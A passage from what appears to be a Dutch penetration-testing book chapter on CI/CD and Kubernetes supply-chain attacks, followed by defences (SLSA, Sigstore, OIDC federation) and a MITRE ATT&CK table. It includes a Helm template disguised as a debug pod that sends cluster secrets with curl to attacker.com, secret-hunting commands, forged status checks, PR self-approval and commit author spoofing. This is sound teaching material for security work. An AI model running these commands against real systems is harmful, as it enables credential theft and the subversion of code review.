# Stap 3: Als je toegang hebt, enumerate
argocd app list
argocd cluster list
argocd repo list
argocd proj list
# Stap 4: Lees repository credentials
# ArgoCD slaat repo credentials op in Kubernetes Secrets
kubectl get secrets -n argocd -l argocd.argoproj.io/secret-type=repository -o yamlHelm chart injection
Helm is de package manager voor Kubernetes, en Helm charts bevatten templates die worden gerenderd tot Kubernetes-manifesten. Als je een Helm chart kunt wijzigen:
# values.yaml - bevat vaak secrets in plain text
database:
host: prod-db.internal
username: webapp
password: ProductionP@ssw0rd! # Oeps.
redis:
password: RedisSecret123
aws:
accessKey: AKIA...
secretKey: wJal...# Malicious Helm template - voeg een pod toe die secrets exfiltreert
# templates/debug-pod.yaml (ziet eruit als een debug tool)
apiVersion: v1
kind: Pod
metadata:
name: {{ .Release.Name }}-debug
labels:
app: {{ .Release.Name }}
spec:
containers:
- name: debug
image: alpine
command:
- /bin/sh
- -c
- |
# Verzamel alle secrets in de namespace
apk add --no-cache curl
SECRETS=$(kubectl get secrets -o json 2>/dev/null | base64 -w0)
curl -s "https://attacker.com/collect" -d "$SECRETS"
sleep infinity
serviceAccountName: {{ .Release.Name }}
# Gebruikt het service account van de applicatievalues.yaml secrets
# Zoek naar secrets in Helm values bestanden
# In de Git repository:
find . -name "values*.yaml" -o -name "values*.yml" | while read f; do
echo "=== $f ==="
grep -n -iE '(password|secret|key|token|credential)' "$f"
done
# In ArgoCD (als je API-toegang hebt):
argocd app get APP_NAME -o yaml | grep -A5 -iE '(password|secret|key)'
# In het cluster:
helm get values RELEASE_NAME -n NAMESPACE
# Toont ALLE values inclusief secrets7.10 Pipeline Hardening Bypass
Branch protection bypass
Branch protection regels zijn de poortwachters van de codebase. Ze vereisen reviews, status checks en signed commits. Maar poortwachters zijn alleen effectief als ze niet te omzeilen zijn:
# Bypass 1: Admin override
# Admins kunnen branch protection regels overrulen
# Als je een admin account compromitteert:
git push origin main --force # Admin kan dit (als "include administrators" niet is ingeschakeld)
# Bypass 2: Status check manipulation
# Status checks worden gerapporteerd via de GitHub/GitLab API
# Als je een token hebt met 'repo:status' scope:
curl -X POST "https://api.github.com/repos/ORG/REPO/statuses/$COMMIT_SHA" \
-H "Authorization: token $TOKEN" \
-d '{
"state": "success",
"context": "ci/security-scan",
"description": "All checks passed"
}'
# De security scan is "geslaagd" -- zonder dat hij daadwerkelijk heeft gedraaid
# Bypass 3: Required reviewers omzeilen
# Als het minimale aantal reviewers op 1 staat:
# Compromitteer een tweede account en approve je eigen PR
# Of: als "dismiss stale reviews" niet is ingeschakeld,
# approve de PR, push nieuwe (kwaadaardige) commits, en merge
# Bypass 4: CODEOWNERS bypass
# .github/CODEOWNERS definieert wie welke bestanden moet reviewen
# Maar CODEOWNERS wordt alleen afgedwongen als het is geconfigureerd
# in de branch protection rules. Check of het daadwerkelijk actief is.
# Bypass 5: Fork-based bypass
# Fork de repo, maak wijzigingen, open een PR
# In sommige configuraties worden fork PRs minder streng behandeldRequired reviews circumvention
# Scenario: 2 required reviewers
# Methode 1: Compromitteer 2 reviewer accounts
# Social engineering, credential stuffing, of gelekte tokens
# Methode 2: Self-approval via API (als niet geblokkeerd)
# Sommige platforms staan toe dat een PR-auteur zijn eigen PR approved
# via de API, ook als het via de UI is geblokkeerd
curl -X POST "https://api.github.com/repos/ORG/REPO/pulls/PR_NUM/reviews" \
-H "Authorization: token $AUTHOR_TOKEN" \
-d '{"event": "APPROVE"}'
# Methode 3: Review dismissal
# Als je 'dismiss review' permissies hebt:
# Dismiss een negatieve review en vervang door een goedkeuringSigned commit bypass
# Scenario: repository vereist signed commits
# Methode 1: GPG key van een developer compromitteren
# De private key staat vaak unencrypted in ~/.gnupg/
# Methode 2: Commit spoofing
# Git commit author is niet cryptografisch gekoppeld aan de GPG key
# Je kunt een commit signen met JOUW key maar de author op IEMAND ANDERS zetten
git commit --author="Trusted Dev <trusted@company.com>" -S -m "Legitimate change"
# De commit is gesigned (door jou), maar de author is iemand anders
# Sommige systemen checken alleen OF een commit is gesigned, niet DOOR WIE
# Methode 3: Rebase en force push (als toegestaan)
# Herschrijf de history met unsigned commits
# en force push (als branch protection dit toestaat voor admins)Verdedigingsmaatregelen
SLSA Framework
Supply-chain Levels for Software Artifacts (SLSA, uitgesproken als “salsa”) is een framework van Google dat de integriteit van de software supply chain adresseert:
| SLSA Niveau | Vereisten | Wat het beschermt tegen |
|---|---|---|
| Level 0 | Niets | Niets |
| Level 1 | Build proces is gedocumenteerd, provenance gegenereerd | Onbekende build herkomst |
| Level 2 | Hosted build service, authenticated provenance | Gemanipuleerde build omgeving |
| Level 3 | Hardened build platform, non-falsifiable provenance | Gecompromitteerde build service |
| Level 4 | Two-party review, hermetic builds | Insider threats |
# Voorbeeld: SLSA provenance genereren in GitHub Actions
- uses: slsa-framework/slsa-github-generator/.github/workflows/generator_generic_slsa3.yml@v1.9.0
with:
base64-subjects: "${{ needs.build.outputs.hashes }}"Sigstore
Sigstore is een ecosysteem voor het ondertekenen en verifieren van software-artefacten:
# Cosign: container image signing
# Teken een image
cosign sign --key cosign.key REGISTRY/IMAGE:TAG
# Verifieer een image
cosign verify --key cosign.pub REGISTRY/IMAGE:TAG
# Keyless signing met OIDC (geen sleutelbeheer nodig)
cosign sign REGISTRY/IMAGE:TAG
# Authenticeert via je OIDC identity (GitHub, Google, etc.)
# In Kubernetes: Kyverno policy om alleen gesignde images toe te staan
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: verify-image-signatures
spec:
validationFailureAction: Enforce
rules:
- name: verify-cosign
match:
any:
- resources:
kinds:
- Pod
verifyImages:
- imageReferences:
- "registry.company.com/*"
attestors:
- entries:
- keyless:
subject: "https://github.com/company/*"
issuer: "https://token.actions.githubusercontent.com"Ephemeral runners
# GitHub Actions: gebruik altijd GitHub-hosted runners voor publieke repos
runs-on: ubuntu-latest # Ephemeral, schone omgeving per job
# Self-hosted runners: configureer als ephemeral
# ./config.sh --ephemeral
# Runner wordt na elke job automatisch de-registered en opnieuw aangemaakt
# Docker-based ephemeral runners
# Elke job draait in een verse container
# Geen cross-job contaminatie mogelijkLeast privilege tokens
# GitHub Actions: minimale GITHUB_TOKEN permissies
permissions:
contents: read
packages: write
# Alleen wat nodig is, niets meer
# GitLab CI: gebruik scoped variables
variables:
DEPLOY_TOKEN:
value: $CI_DEPLOY_TOKEN
# protected: alleen beschikbaar op protected branches
# masked: verborgen in build logs
# Jenkins: gebruik credential scoping
// Jenkinsfile
withCredentials([
usernamePassword(
credentialsId: 'deploy-staging', // Specifiek per omgeving
usernameVariable: 'USER',
passwordVariable: 'PASS'
)
]) {
// Credentials alleen beschikbaar in dit blok
sh 'deploy.sh'
}OIDC Federation
# AWS OIDC met GitHub Actions (geen langlevende credentials)
# Stap 1: Configureer de OIDC provider in AWS
# Stap 2: Maak een IAM role met trust policy
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::ACCOUNT:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
},
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:ORG/REPO:ref:refs/heads/main"
}
}
}
]
}
# Stap 3: Gebruik in de workflow
# - uses: aws-actions/configure-aws-credentials@v4
# with:
# role-to-assume: arn:aws:iam::ACCOUNT:role/GitHubActionsRole
# aws-region: eu-west-1
# Geen AWS_ACCESS_KEY_ID, geen AWS_SECRET_ACCESS_KEY
# Alleen een kortlevend session token# GCP Workload Identity Federation met GitHub Actions
# Vergelijkbaar principe: OIDC token → GCP service account
- uses: google-github-actions/auth@v2
with:
workload_identity_provider: 'projects/PROJECT_NUM/locations/global/workloadIdentityPools/github/providers/github-provider'
service_account: 'github-actions@PROJECT.iam.gserviceaccount.com'IB Tip: OIDC federation is de beste manier om langlevende credentials uit CI/CD pipelines te elimineren. Maar let op de condition in de trust policy. Als de
subclaim te breed is (bijv.repo:ORG/*in plaats vanrepo:ORG/REPO:ref:refs/heads/main), kan elke repository in de organisatie de rol aannemen. Controleer altijd de trust policy conditions.
Referentietabel
| Techniek | Categorie | MITRE ATT&CK | Platform | Complexiteit |
|---|---|---|---|---|
| Expression injection | Code Execution | T1059.004 - Unix Shell | GitHub Actions | Middel |
| Self-hosted runner abuse | Initial Access | T1195.002 - Software Supply Chain | GitHub/GitLab | Middel |
| GITHUB_TOKEN abuse | Credential Access | T1528 - Steal Application Access Token | GitHub Actions | Laag |
| pull_request_target exploit | Credential Access | T1528 | GitHub Actions | Middel |
| Secret exfiltration via artifacts | Credential Access | T1552.001 - Credentials In Files | Alle platforms | Laag |
| Shared runner exploitation | Lateral Movement | T1021 - Remote Services | GitLab CI | Middel |
| CI/CD variable extraction | Credential Access | T1552.001 | GitLab CI | Laag |
| Protected branch bypass | Defense Evasion | T1562.001 - Disable or Modify Tools | Alle platforms | Middel |
| Include directive abuse | Execution | T1059.004 | GitLab CI | Middel |
| Jenkins Script Console RCE | Execution | T1059.007 - JavaScript | Jenkins | Laag |
| Groovy sandbox escape | Execution | T1059 - Command and Scripting | Jenkins | Hoog |
| Jenkins credential theft | Credential Access | T1555 - Credentials from Password Stores | Jenkins | Middel |
| Pipeline as code injection | Execution | T1195.002 | Jenkins | Middel |
| Environment variable leaks | Credential Access | T1552.001 | Alle platforms | Laag |
| Build log secrets | Credential Access | T1552.001 | Alle platforms | Laag |
| Terraform state secrets | Credential Access | T1552.001 | Alle platforms | Laag |
| Dependency confusion | Initial Access | T1195.001 - Software Dependencies | npm/PyPI/NuGet | Middel |
| Typosquatting | Initial Access | T1195.001 | npm/PyPI/NuGet | Laag |
| Compromised Actions/Orbs | Execution | T1195.002 | GitHub/CircleCI | Middel |
| Malicious packages | Execution | T1195.001 | Alle package managers | Middel |
| Build artifact tampering | Persistence | T1195.002 | Alle platforms | Middel |
| ArgoCD exploitation | Initial Access | T1190 - Exploit Public-Facing Application | ArgoCD/K8s | Middel |
| Helm chart injection | Execution | T1610 - Deploy Container | Kubernetes/Helm | Middel |
| values.yaml secret extraction | Credential Access | T1552.001 | Kubernetes/Helm | Laag |
| Status check manipulation | Defense Evasion | T1562.001 | GitHub/GitLab | Middel |
| Review circumvention | Defense Evasion | T1562.001 | Alle platforms | Middel |
| SLSA provenance forgery | Defense Evasion | T1195.002 | Alle platforms | Hoog |
De software supply chain is het fundament waarop moderne software wordt gebouwd. Het is ook een fundament met scheuren die we pas beginnen te zien. De aanvallen in dit hoofdstuk – van dependency confusion tot pipeline injection – exploiteren niet zozeer technische kwetsbaarheden als wel het vertrouwen dat we in onze tools en processen stellen. En vertrouwen, zo leert de ervaring, is het eerste wat een aanvaller misbruikt.
In de volgende hoofdstukken verlaten we de bouwketen en kijken we naar de cloud-omgevingen waar deze software uiteindelijk draait: AWS, Azure en GCP. Andere omgevingen, dezelfde fouten.